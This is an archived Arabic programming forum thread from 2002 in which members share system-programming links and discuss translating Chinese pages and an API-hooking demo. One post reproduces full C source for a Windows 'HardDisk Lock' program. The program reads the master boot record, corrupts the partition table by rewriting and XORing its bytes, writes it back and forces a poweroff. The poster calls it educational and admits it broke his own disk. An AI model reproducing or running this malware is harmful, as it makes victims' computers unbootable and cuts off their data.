الفريق العربي للبرمجةأرشيف المنتديات · 2000 – 2023
نسخة أرشيفية للقراءة فقط — التسجيل والمشاركة مغلقان، والمحتوى محفوظ كما كان.

مواضيع تغذي العقل لكنها لا تشبع المعدة و لا تجلب $

مغلق
بدأه tmaaa في 6 يونيو 2002 · 12 رد · 1,892 مشاهدة · في لغة C و ++C
مشاركة: واتساب X فيسبوك تيليجرام
#1 صاحب الموضوع

السلام عليكم

وددت ان اضع هذا الموضوع لارجع اليه عندما اريد الوصول الى هذه المواقع مرة اخرى , اتمنى من الاخوان الا يحذفوه . لست اتوقع اي اهتمام بالموضوع لذا اتمنى الا تكون هناك تعليقات معارضه ...

هذه بعض المواقع التي تهتم بـ System Programming

هناك العديد من المواضيع القويه جدا لكنها بالصينيه ان كان هناك من يهتم بهكذا مواضيع - ان شاء الله - اساعد في ترجمة المواضيع لاحقا .

كتاب Windows NT/2000 Native API لــ Gary Nebbett

لم اكن اتوقع ان القى الكتاب على الـnet . الكتاب باللغة الانجليزيه .

http://bingle.sitenova.net/teach/NTNativeAPI.cab

------------------------

http://www.whitecell.org/article.php

http://www.lisoleg.net/lisoleg/memory

http://msdn.microsoft.com/msdnmag/issues/1...race/VTrace.asp

http://person.okey.net/~webcrazy/tech.htm

CIONO1

هناك حتى الأحلام أصبحت ممنوعة ...

إنه لعار أن ننتمي لهكذا أوطان ... لكن ... ربما العار أن نكون نحن أبناء لتلكم أوطان .. من يدري ؟!!

ليعلم أولئك ... إنّ الشعوب إنْ هي استيقظت تسحق ظُلامََهَا ...

There, even in dreams u r wanted

To be a programmer, how a nice dream it was

Leaving ...

أعيدوا لإسمي لونه المفضل

#2

بسم الله الرحمن الرحيم

تحية طيبة وبعد

ياريت ياخوي tmaaa ان تترجم هذه المواضيع

ولك جزيل الشكر

#3

مشكور اخي tmaaa على الكتاب

#4

لا أملك إلا أن أشكرك واحسدك في آن معاً..

أشكرك معروف ليش ..

أحسدك على معرفتك بهذه اللغة!

ربما يشهد الموقع نوعا جديدا من الاسئلة وهي ليست حول لغات البرمجة بل حول اللغة الصينية؟

#5

السلام عليكم

هذا أحد المواضيع التي ذكرتها سابقا .

اود التنويه انني ساحاول بقدر الامكان شرح الكود لاحقا فما زلت حاليا ابحث في الموضوع و في غيره من المواضيع :confused: . ( كالعاده ابله يحدث نفسه , يسأل ويجيب على نفسه :D ) .

الكود الاتي يقوم بعمليتي قراءة و كتابه MBR . الغرض من الكود فقط للغرض التعليمي .

قمت بتجربه الكود على الـ harddisk عندي واضطررت لاعاده الـ MBR باستخدام احد البرامج الخاصه بذلك لذا يفضل عدم تجربه الكود .

CIO - Computer Idiot Organization 
نقلا عن
 WSS - Whitecell Security Systems

Windows XP/NT/2000 HardDisk Lock 

Author:  sinister
Email:   sinister@whitecell.org
Homepage:http://www.whitecell.org 
Date:    2001-12-06


//Windows XP/NT/2000 Read/Write HardDisk Sectors
#include <windows.h>
#include <winioctl.h>

//---------------------------------------------------------------------------


void WINAPI ExitWin()
{
   HANDLE hProcess,   hToken;
   TOKEN_PRIVILEGES   NewState;
   DWORD ProcessId,   ReturnLength = 0;
   LUID               luidPrivilegeLUID;

   ProcessId = GetCurrentProcessId();
   hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, ProcessId);
   OpenProcessToken(hProcess,TOKEN_ADJUST_PRIVILEGES, &hToken);
   LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME, &luidPrivilegeLUID);

   NewState.PrivilegeCount = 1;
   NewState.Privileges[0].Luid = luidPrivilegeLUID;
   NewState.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

   if(AdjustTokenPrivileges(hToken, FALSE, &NewState, NULL, NULL, NULL))
      ExitWindowsEx(EWX_FORCE|EWX_POWEROFF, 0);
}


void WINAPI KillNT()
{

  HANDLE                  hDevice;
  TCHAR                   szDevicename[64];
  LPTSTR                  szBuff;
  DISK_GEOMETRY           Geometry;
  BOOL                    bRet;
  DWORD                   bytes,bread,count;
  int i;

  char *drive = "0";
  wsprintf(szDevicename,".PHYSICALDRIVE%c",*drive);

  hDevice = CreateFile( szDevicename,
                        GENERIC_READ|GENERIC_WRITE,
                        FILE_SHARE_READ|FILE_SHARE_WRITE,
                        NULL,
                        OPEN_EXISTING,
                        0,
                        NULL
                      );

   if (hDevice == INVALID_HANDLE_VALUE)
   {
       MessageBox(NULL,"Device openning error .",NULL,MB_OK);
       ExitProcess(0);
   }


  DeviceIoControl(hDevice,FSCTL_LOCK_VOLUME, NULL,0,NULL,0,&count,NULL);

  DeviceIoControl(hDevice,IOCTL_DISK_GET_DRIVE_GEOMETRY,NULL,0,&Geometry,sizeof(DISK_GEOMETRY),&count,NULL);

  szBuff = (LPSTR)HeapAlloc(GetProcessHeap(),HEAP_ZERO_MEMORY,Geometry.BytesPerSector);

  if ( szBuff == NULL)
  {
      MessageBox(NULL,"Heap allocate error .",NULL,MB_OK);
      ExitProcess(0);
  }

  bytes = 512;

  bRet = ReadFile(hDevice, szBuff, bytes, &bread, NULL);

  if (bRet==FALSE || bread<512)
  {
     MessageBox(NULL,"Read MBR Error .",NULL,MB_OK);
     ExitProcess(0);
  }


  *(szBuff + 0x1be) = 0x80;
  *(szBuff + 0x1bf) = 0x00;
  *(szBuff + 0x1c2) = 0x05;
  for ( i = 0x1c3; i < 510; i++ )
  {
      *(szBuff + i) ^= 0x926;
  }

  DeviceIoControl(hDevice,FSCTL_UNLOCK_VOLUME, NULL,0,NULL,0,&count,NULL);

  CloseHandle(hDevice);

  wsprintf(szDevicename,".PHYSICALDRIVE%c",*drive);

  hDevice = CreateFile( szDevicename,
                        GENERIC_READ|GENERIC_WRITE,
                        FILE_SHARE_READ|FILE_SHARE_WRITE,
                        NULL,
                        OPEN_EXISTING,
                        0,
                        NULL
                      );

  if ( hDevice == INVALID_HANDLE_VALUE)
  {
     MessageBox(NULL,"Device openning error .",NULL,MB_OK);
     ExitProcess(0);
  }


  DeviceIoControl(hDevice,FSCTL_LOCK_VOLUME, NULL,0,NULL,0,&count,NULL);

  DeviceIoControl(hDevice,IOCTL_DISK_GET_DRIVE_GEOMETRY,NULL,0,&Geometry,sizeof(DISK_GEOMETRY),&count,NULL);

  bRet = WriteFile(hDevice,szBuff,bytes,&bread,NULL);

  if (bRet==FALSE || bread<512)
  {
     MessageBox(NULL,"Read MBR Error .",NULL,MB_OK);
     ExitProcess(0);
  }


  DeviceIoControl(hDevice,FSCTL_UNLOCK_VOLUME, NULL,0,NULL,0,&count,NULL);

  HeapFree(GetProcessHeap(),HEAP_NO_SERIALIZE,szBuff);

  CloseHandle(hDevice);

  ExitWin();

}


void WINAPI OSVer()
{

   OSVERSIONINFO osi;

   osi.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);

   if (GetVersionEx(&osi))
   {
     if ( osi.dwPlatformId == VER_PLATFORM_WIN32_NT)
          KillNT();
   }

}


WINAPI WinMain(HINSTANCE, HINSTANCE, LPSTR, int)
{

        OSVer();
        return 0;
}
/*** or use 
void main()
{
        OSVer();
        return;

}
*/

(f)

هناك حتى الأحلام أصبحت ممنوعة ...

إنه لعار أن ننتمي لهكذا أوطان ... لكن ... ربما العار أن نكون نحن أبناء لتلكم أوطان .. من يدري ؟!!

ليعلم أولئك ... إنّ الشعوب إنْ هي استيقظت تسحق ظُلامََهَا ...

There, even in dreams u r wanted

To be a programmer, how a nice dream it was

Leaving ...

أعيدوا لإسمي لونه المفضل

#7

شكرا أخي أبو ماجد الصارم على هذه الوصلة ... سأبدأ الان..:D

#8
اقتباس
اسماعيل ابراهيم  

ولمن يحب

تعلم اللغة الصينية

???

:) أنا بدي اعرف ، كيف بتقرون الكلمات دي وبتكتبونها ؟

وشكراً(f)

If you think yourself that you are nobody, you should go somewhere to find yourself

#9

السلام عليكم ،

اقتباس
هناك العديد من المواضيع القويه جدا لكنها بالصينيه ان كان هناك من يهتم بهكذا مواضيع - ان شاء الله - اساعد في ترجمة المواضيع لاحقا

جميل جدا انك تتكلم الصينية :rolleyes:

انظر الى هذا الموضوع

Windows API Hooking Tutorial

أظنه بالغة الصينية ،

لاتوجد هذه اللغة على الحاسب الذي اعمل عليه الان وبالتالي يطلع كلام ملخبط ،

لكن هناك صورة بالموضوع اوحت الي ان الكلام بالغة الصينية ،، مش متأكد ،،

لن اطلب منك ترجمة الموضوع ;)

لأن اكيد انت مشغول كان الله في عونك :rolleyes:

لكن هل تستطيع ان تخبرني ماذا يعمل البرنامج المرفق هناك ؟؟

حملته وشغلت الملف التنفيذي لكن لا ادري ماذا افعل وكيف يعمل هذا البرنامج !!

تحياتي لك ..

وهذا رابط تحميل البرنامج مباشرة

/index.php/topic/264448-%D8%A7%D9%84%D8%A8%D8%AF%D8%A7%D9%8A%D8%A9-%D9%85%D8%B9-%D8%A7%D9%84%D8%A7%D9%86%D8%AF%D8%B1%D9%88%D9%8A%D8%AF/

 

اني وان كنت الاخير زمانه ---- لأتِ بما لم تستطعه الاوائلُ

#10

سلام عليكم

ممكن تاخد اللينك و تطلع على جوجل :D و بعد كده حط اللينك كما هى

هتلاقى نتيجة واحدة بس الى طلعت و هى لينك للموقع و جنبها Translat this page و بعدين هتلاقيها أترجمة على طول و كمان عندك أكثر من طريقة لترجمة هذه المواضيع

يعني هتلاقى كتير مواضيع حلوة بالألمانى و الفرنسي حلها الوحيد هو القواميس الغريبة ديه :D

Nothing to mention except that I am Muslim

Using your brain is not bad as you think

My Blog

logo.jpg

#11
اقتباس
انظر الى هذا الموضوع

Windows API Hooking Tutorial

أظنه بالغة الصينية ،

للأسف الصفحة باللغة اليابانية ولا أفقه منها شيئاً ...

اقتباس
حملته وشغلت الملف التنفيذي لكن لا ادري ماذا افعل وكيف يعمل هذا البرنامج !!

المثال يقوم بعمل API HOOK للدالتين MessageBoxA و MessageBoxW وهو لا ينجح في جميع الحالات .

أنت الأن مطور برامج فلا تعتمد على التنفيذ فقط , راجع الكود ...

في حالات أخرى إن لم يكن الكود موجود فعليك بعمل DisAssembly ... هكذا ستتعلم الكثير ;)

"First they ignore you, then they laugh at you, then they attack you, then you win"

===

اقتباس

حُكَّامُـنَا إِنْ تَصَـدّوا لِلْحِمَــى اقْتَحَمُـوا ***** وَإِنْ تَصَدَّى لَـهُ المُسْتَعْمِـرُ انْسَحَبُـوا

هُمْ يَفْرشـُونَ لِجَيْـشِ الغَــزْوِ أَعْيُنَـهُـمْ ***** وَيَدَّعُــونَ وُثُـوبَـاً قَـبْـلَ أَنْ يَثِـبُــوا

الحَاكِمُـونَ و«وَاشُنْـطُـنْ» حُكُومَتُـهُـمْ ***** وَاللامِعُــونَ وَمَـا شَعَّـوا وَلا غَرَبُــوا

القَاتِلُـــونَ نُبُــوغَ الشَّـعْــبِ تَرْضِـيَـــةً ***** لِلْمُعْتَدِيــنَ وَمَـا أَجْـدَتْـهُـمُ الـقُــرَبُ

لَهُمْ شُمُـوخُ «المُثَنَّـى» ظَاهِـرَاً وَلَهُـمْ ***** هَـوَىً إِلَـى بَابَـك الخَرْمِـيّ يُنْتَسَـبُ

البردوني "أبو تمام وعروبة اليوم" 1971

===

اقتباس
عبيد الهوى يحكمون البـلاد ***** ويحكمهــم كلّهـــم درهــــــم

و تقتـادهـم شهـوة لا تنــام ***** وهـــم فـي جـهالتهــم نــــوّم

ففــي كـــلّ ناحيــة ظـالـــم ***** غبــــــيّ يسـلـّطــــه أظلـــم

أيا من شبعتم على جوعــنا ***** وجـــوع بنينـا ألـم تتخمـــوا ؟

ألم تفهموا غضبة الكادحين ***** على الظلـم ؟ لا بدّ أن تفهموا

البردوني "نحن و الحاكمون "

#12

السلام عليكم ،

مشكور اخي neo على المرور ،

سأجرب هذه الطريقة ،،

لكن اظن ان البرمجة ستكون غير دقيقة :(

اقتباس
للأسف الصفحة باللغة اليابانية ولا أفقه منها شيئاً ...

مع الاسف ،،

مشكور اخي على الرد ،،

اقتباس
أنت الأن مطور برامج فلا تعتمد على التنفيذ فقط , راجع الكود ...

فعلا انا قررت ان اقرء الكود حتى قمت بطباعته للتتبعه ،،

لكن انت سيد العارفين ،، لسه بأول الطريق ،،

الان الحمد لله احس نفسي احسن بكثير بعد القراءة الكثيرة في هذه المواضيع ،،

اقتباس
في حالات أخرى إن لم يكن الكود موجود فعليك بعمل DisAssembly ... هكذا ستتعلم الكثير

لسه بدري شوي على هذه ،، عقدتي مع الاسمبلي لا ادري متى تنحل ،،

رغم معرفتي حقا اني سأحتاجها كثيرا في عملي ،،

المشكلة ان الوقت بدى يضايقني . :(

---------------

تحياتي لك ..

/index.php/topic/264448-%D8%A7%D9%84%D8%A8%D8%AF%D8%A7%D9%8A%D8%A9-%D9%85%D8%B9-%D8%A7%D9%84%D8%A7%D9%86%D8%AF%D8%B1%D9%88%D9%8A%D8%AF/

 

اني وان كنت الاخير زمانه ---- لأتِ بما لم تستطعه الاوائلُ

#13

صح: مواضيع تغذي العقل لكنها لا تشبع المعدة و لا تجلب $

قطرة الماء تـثـقب الحجر.. لا بالعنف. لكن بتكرار المحاولة

at4re.gif

منتديات الفريق العربي للهندسة العكسية 不喜欢的勿入! www.at4re.com

هذا الموضوع مغلق.

مواضيع مشابهة